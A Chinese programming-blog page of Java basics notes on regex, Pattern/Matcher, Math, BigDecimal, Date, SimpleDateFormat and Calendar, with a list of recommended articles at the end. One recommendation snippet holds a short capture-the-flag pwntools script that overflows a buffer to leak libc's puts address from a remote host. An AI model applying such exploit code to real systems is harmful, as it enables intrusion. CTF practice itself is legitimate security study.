Java基础-4.正则表达式、calendar、dateformat_string line = sc.nextline();-程序员宅基地

技术标签: Java  

一、正则表达式

String line = sc.nextLine();

String regex= "[1-9]\\d{4,14}";

System.out.println(line.matches(regex));

[ ]             代表单个字符

[abc]           a、b 或 c

[^abc]          任何字符,除了 a、b 或 c

[a-zA-Z]        a到 z 或 A到 Z,两头的字母包括在内

[0-9]           0到9的字符都包括

[a-d[m-p]]      a到d或者m到p

[a-z&&[def]]    d、e 或 f

[a-z&&[^bc]]    a 到 z,除了 b 和 c:[ad-z]

[a-z&&[^m-p]]   a 到 z,而非 m 到 p:[a-lq-z]

.               任何字符

\d              数字:[0-9],\必须要写成\\,代表转义

\w              单词字符:[a-zA-Z_0-9]

X?              X一次或一次也没有,例如[abc],代表abc出现了1次或者没出现,但是注意这里不能出现其他字符,例如"d".matches(regex)返回的false。

X*              X,零次或多次

X+              X,一次或多次

X{n}            X,恰好 n 次

X{n,}          X,至少 n 次

X{n,m}         X,至少 n 次,但是不超过 m 次

1.分割功能

String类的功能:public String[] split(String regex)

2.替换功能

String类的功能:public String replaceAll(String regex,String replacement)

3.分组功能

捕获组可以通过从左到右计算其开括号来编号。例如,在表达式 ((A)(B(C))) 中,存在四个这样的组:

1     ((A)(B(C)))

2     (A

3     (B(C))

4     (C)

组零始终代表整个表达式。

高高兴兴:String regex = "(.)\\1(.)\\2,\\1代表第一组又出现一次;

快乐快乐:String regex2 = "(..)\\1";

切割:按照叠词切割: "sdqqfgkkkhjppppkl";

String regex = "(.)\\1+";

替换:“我我....我...我.要...要要...要学....学学..学.编..编编.编.程.程.程..程” 将字符串还原成:“我要学编程”。

s=s.replace(".", "");

s=s.replaceAll("(.)\\1+","$1"); //$1代表第一组中的内容

二、Pattern和Matcher

模式和匹配器的典型调用顺序

Pattern p = Pattern.compile("a*b");    //获取正则表达式

Matcher m = p.matcher("aaaaab");   //获取匹配器

boolean b = m.matches();           //进行模式匹配

Pattern和Matcher的结合使用

把一个字符串中的手机号码获取出来

String s = "我的手机是18988888888,我曾用过18987654321,还用过18812345678";

String regex = "1[3578]\\d{9}";

Pattern p = Pattern.compile(regex);

Matcher m = p.matcher(s);

while(m.find())

System.out.println(m.group());//打印出获取的每一个结果,如果获取到结果,m.find()会返回true,并移动到下一个匹配结果。

三、Math

public static int abs(int a)

public static double ceil(double a)

public static double floor(double a)

public static int max(int a,int b)

public static double pow(double a,double b)

public static double random()

public static int round(float a)

public static double sqrt(double a)

四、Random类

此类用于产生随机数,如果用相同的种子创建两个 Random 实例,则对每个实例进行相同的方法调用序列,它们将生成并返回相同的数字序列。

1.构造方法

public Random()

public Random(long seed)

2.成员方法

public int nextInt()

public int nextInt(int n),生成的随机数在0-n-1之间

五、System类

public static void gc() //呼喊垃圾回收器,让垃圾回收器回收垃圾

public static void exit(int status) //非0表示异常终止,会退出jvm虚拟机

public static long currentTimeMillis() //获取当前的时间

pubiic static void arraycopy(Object src,int srcPos,Object dest,int destPos,int length)数组之间的拷贝

六、BigInteger类

可以让超过Integer范围内的数据进行运算

构造方法

public BigInteger(String val)

成员方法

public BigInteger add(BigInteger val)

public BigInteger subtract(BigInteger val)

public BigInteger multiply(BigInteger val)

public BigInteger divide(BigInteger val)

public BigInteger[] divideAndRemainder(BigInteger val) 除法取余数

七、BigDecimal

由于在运算的时候,float类型和double很容易丢失精度,为了能精确的表示、计算浮点数,Java提供了BigDecimal,不可变的、任意精度的有符号十进制数。

构造方法:

public BigDecimal(String val)

成员方法:算小数的加减乘除用字符做运算

public BigDecimal add(BigDecimal augend)

public BigDecimal subtract(BigDecimal subtrahend)

public BigDecimal multiply(BigDecimal multiplicand)

public BigDecimal divide(BigDecimal divisor)

BigDecimal bd1 = BigDecimal.valueOf(2.0);  //这种方式在开发中也是推荐的

八、Date类

类 Date 表示特定的瞬间,精确到毫秒。

1.构造方法

public Date()

public Date(long date)

2.成员方法

public long getTime()

public void setTime(long time)

1969年8月,贝尔实验室的程序员肯汤普逊利用妻儿离开一个月的机会,开始着手创造一个全新的革命性的操作系统,他使用B编译语言在老旧的PDP-7机器上开发出了Unix的一个版本。随后,汤普逊和同事丹尼斯里奇改进了B语言,开发出了C语言,重写了UNIX,新版于1971年发布。1970年1月1日 算 UNIX 和 C语言 生日。最初计算机操作系统是32 位,而时间也是用 32 位表示。 System.out.println(Integer.MAX_VALUE);

2147483647

Integer在 JAVA 内用 32 位表 示,因此 32 位能表示的最大值是 2147483647。 另外1 年 365 天的总秒数是 31536000,2147483647/31536000 = 68.1

也就是说32 位能表示的最长时间是 68 年,而实际上到 2038年 01 月 19 日 03 时 14 分 07秒,便会到达最大时间,过了这个时间点,所 有 32 位操作系统时间便会变为10000000 00000000 00000000 00000000,也就是1901年 12月 13 日 20时 45 分 52 秒,这样便会出现时间回归的现象,很多软件便会运 行异常了。

到这里,我想问题的答案已经出来了:

因为用32 位来表示时间的最大间隔是 68 年,而最早出现的 UNIX 操作系统考虑到计算机产生的年代和应用的时限综合取了 1970 年 1 月 1 日作为 UNIX TIME 的纪元时间 ( 开始时间 ) ,而 java 自然也遵循了这一约束。

至于时间回归的现象相信随着64 为操作系统 的产生逐渐得到解决,因为用 64 位操作系统可以表示到 292,277,026,596年 12月 4 日 15时 30 分 08 秒,相信我们的 N 代子孙,哪怕地球毁灭那天都不用愁不够用了,因为这个时间已经是千亿年以后了。

最后一个问题:上面System.out.println(new Date(0)),打印出来的时间是8点而非0点,原因是存在系统时间和本地时间的问题,其实系统时间依然是0点,只不过我的电脑时区设置为东8区,故打印的结果是8点。

九、SimpleDateFormat类

1.DateFormat类

DateFormat是日期/时间格式化子类的抽象类,它以与语言无关的方式格式化并解析日期或时间。是抽象类,所以使用其子类SimpleDateFormat。

2.SimpleDateFormat构造方法

public SimpleDateFormat()

public SimpleDateFormat(String pattern)

SimpleDateFormat sdf = new SimpleDateFormat("yyyy年MM月dd日 HH:mm:ss");

Date d = sdf.parse(str);   //将时间字符串转换成日期对象

3.成员方法

public final String format(Date date)

public Date parse(String source)

十、Calendar

Calendar 类是一个抽象类,它为特定瞬间与一组诸如 YEAR、MONTH、DAYOFMONTH、HOUR 等日历字段之间的转换提供了一些方法,并为操作日历字段(例如获得下星期的日期)提供了一些方法。

Calendar c = Calendar.getInstance(); //父类引用指向子类对象

System.out.println(c.get(Calendar.YEAR));

c.add(Calendar.MONTH, -1);

c.set(Calendar.YEAR, 2000);

System.out.println(c.get(Calendar.YEAR)); //通过字段获取年

System.out.println(c.get(Calendar.MONTH));//通过字段获取月,月是从0开始编号的

System.out.println(c.get(Calendar.DAY_OF_MONTH));//月中的第几天

System.out.println(c.get(Calendar.DAY_OF_WEEK));//周日是第一天,周六是最后一天

成员方法

public static Calendar getInstance()

public int get(int field),例如c.get(Calendar.DAY_OF_MONTH)

版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
本文链接:https://blog.csdn.net/qq_25560849/article/details/103282858

智能推荐

【转】awk使用指令中文详解_awk -f 分隔符使用中文-程序员宅基地

文章浏览阅读580次。原文链接在此,转发是为了个人查找起来更方便。 awk是行处理器: 相比较屏幕处理的优点,在处理庞大文件时不会出现内存溢出或是处理缓慢的问题,通常用来格式化文本信息awk处理过程: 依次对每一行进行处理,然后输出awk命令形式:awk [-F|-f|-v] ‘BEGIN{} //{command1; command2} END{}’ file [-F|-f|-v] 大参数..._awk -f 分隔符使用中文

从命令行中运行Ant脚本_命令行运行ant-程序员宅基地

文章浏览阅读933次。在用eclipse上的可视化Ant工具时有时会出现编译不了的情况,是不是程序有错误?如果程序有错误这种情况也会发生,为了找出错误我们需要在命令行下编译ant脚本。为了在命令行下编译ant脚本,我们需要把Eclipse上的ant工具路径C:/sw/eclipse/plugins/org.apache.ant_1.7.0.v200803061910/bin;添加进系统变量path上去,这样我们就可以直接在命令行下输入ant脚本而不需要添加路径。在命令行下运行ant脚本时,我们发现有时候在_命令行运行ant

netif_receive_skb_netif_rx vs netif_receive_skb-程序员宅基地

文章浏览阅读3.1k次。 netif_receive_skb驱动接收包后最终处理是调用netif_receive_skb进行3层处理。对于驱动接收分为NAPI和netif_rx方式。_netif_rx vs netif_receive_skb

安全防御-----防病毒_文件信誉csdn-程序员宅基地

文章浏览阅读1.6k次。关于病毒、蠕虫、木马的简要过程_文件信誉csdn

cmcc pwnme2_pwnme2 cmcc-程序员宅基地

文章浏览阅读296次。from pwn import *#p = process('./pwnme2')p = remote("node3.buuoj.cn",26522)libc = ELF('./libc-2.23.so')plt_puts = 0x08048490got_puts = 0x0804A028main = 0x080486F8payload = 108*'a' + p32(0xdeadbeaf) + p32(plt_puts) + p32(main) + p32(got_puts)._pwnme2 cmcc

【论文解读 KDD 2019 | HetGNN】Heterogeneous Graph Neural Network_hetgnn代码解读-程序员宅基地

文章浏览阅读9.1k次,点赞15次,收藏58次。论文题目:Heterogeneous Graph Neural Network论文来源:KDD 2019论文链接:https://arxiv.org/abs/1903.07293代码链接:https://github.com/chuxuzhang/KDD2019_HetGNN关键词:HIN, GNN, Graph Embedding文章目录1 摘要2 引言2.1 已有的方法2.2 G..._hetgnn代码解读

随便推点

论文阅读: Cascade R-CNN_cascade rcnn最后识别的结果是什么样子的-程序员宅基地

文章浏览阅读5.3k次,点赞6次,收藏16次。Introduction传统的Faster R-CNN结构如下: 在train阶段,其最终的输出结果是通过如下一个简单的IoU阈值判断来决定哪些proposal作为output: 对IoU阈值设置的探索由于早前VOC只以 mAP50mAP50mAP_{50} 作为唯一的性能衡量标准,为了overfit该数据集,算法的IoU阈值在train阶段和inference阶段常被简单..._cascade rcnn最后识别的结果是什么样子的

HTML+CSS+JavaScript实现轮播图效果_基于html,css,js设计的网页轮播图-程序员宅基地

文章浏览阅读2w次,点赞98次,收藏576次。轮播图的效果有很多种,做起来也挺有意思。本文所做的轮播图没有添加动画效果,适合不会动画的初学者参考。如果对动画感兴趣,之后我也会分享添加了动画效果的轮播图。_基于html,css,js设计的网页轮播图

喜欢我十九年的男孩结婚了_喜欢了我19年的那小子-程序员宅基地

文章浏览阅读910次。原文地址:http://www.pianheng.com/  文/简书@卫好唯  夏季,周末,有晚风,有暑气。  大学室友萍子从外地回来,特地给我打电话点名要吃烤全鱼,扬言要榨干我本月的工资,我在电话里调侃:只要你能吃得下,我请你吃光整个松花江。  许久没见,萍子竟丰腴了不少,我俩坐在雾气缭绕的鱼锅旁从当年大学生活聊到如今工作,从大热韩剧来自星星的你聊到谢霆锋王菲分分合_喜欢了我19年的那小子

计算机视觉:你必须了解的图像数据底层技术-程序员宅基地

文章浏览阅读552次。点击上方“小白学视觉”,选择加"星标"或“置顶”重磅干货,第一时间送达转自|新机器视觉引言计算机视觉(Computer Vision)自兴起以来就非常迅速且广泛应..._一张图片的底层数据

css样式引用的几种方法、优先级关系及权重计算_如何提高link样式文件的权重-程序员宅基地

文章浏览阅读1.5k次。1.引用方式1.内联式(行内样式)将标记的style属性值直接赋值为所定义的样式规则<p style = "color:red;background:#000000;">这是一个段落</p>2.嵌入式利用<style>&lt_如何提高link样式文件的权重

ks.cfg使用于HPC和ORACLE单机,系统版本:RHEL6.2,硬件平台:X86全系列_oraclelinux ks.cfg-程序员宅基地

文章浏览阅读2.2k次。由于AMD 6200系列和INTEL E5系列等新架构CPU的大量推广,传统的SUSE10和RHEL5在新的硬件平台上已经不能发挥出良好的性能。 经大量测试发现,在RHEL6.2 x64平台上,infiniband网络和计算软件能得到最佳性能。 由于RHEL6.2 x64在系统安装时有很多32位软件包被自动忽略,同时使用UUID方式挂载硬盘不方便克隆和修复。现发布一个新测试通过的k_oraclelinux ks.cfg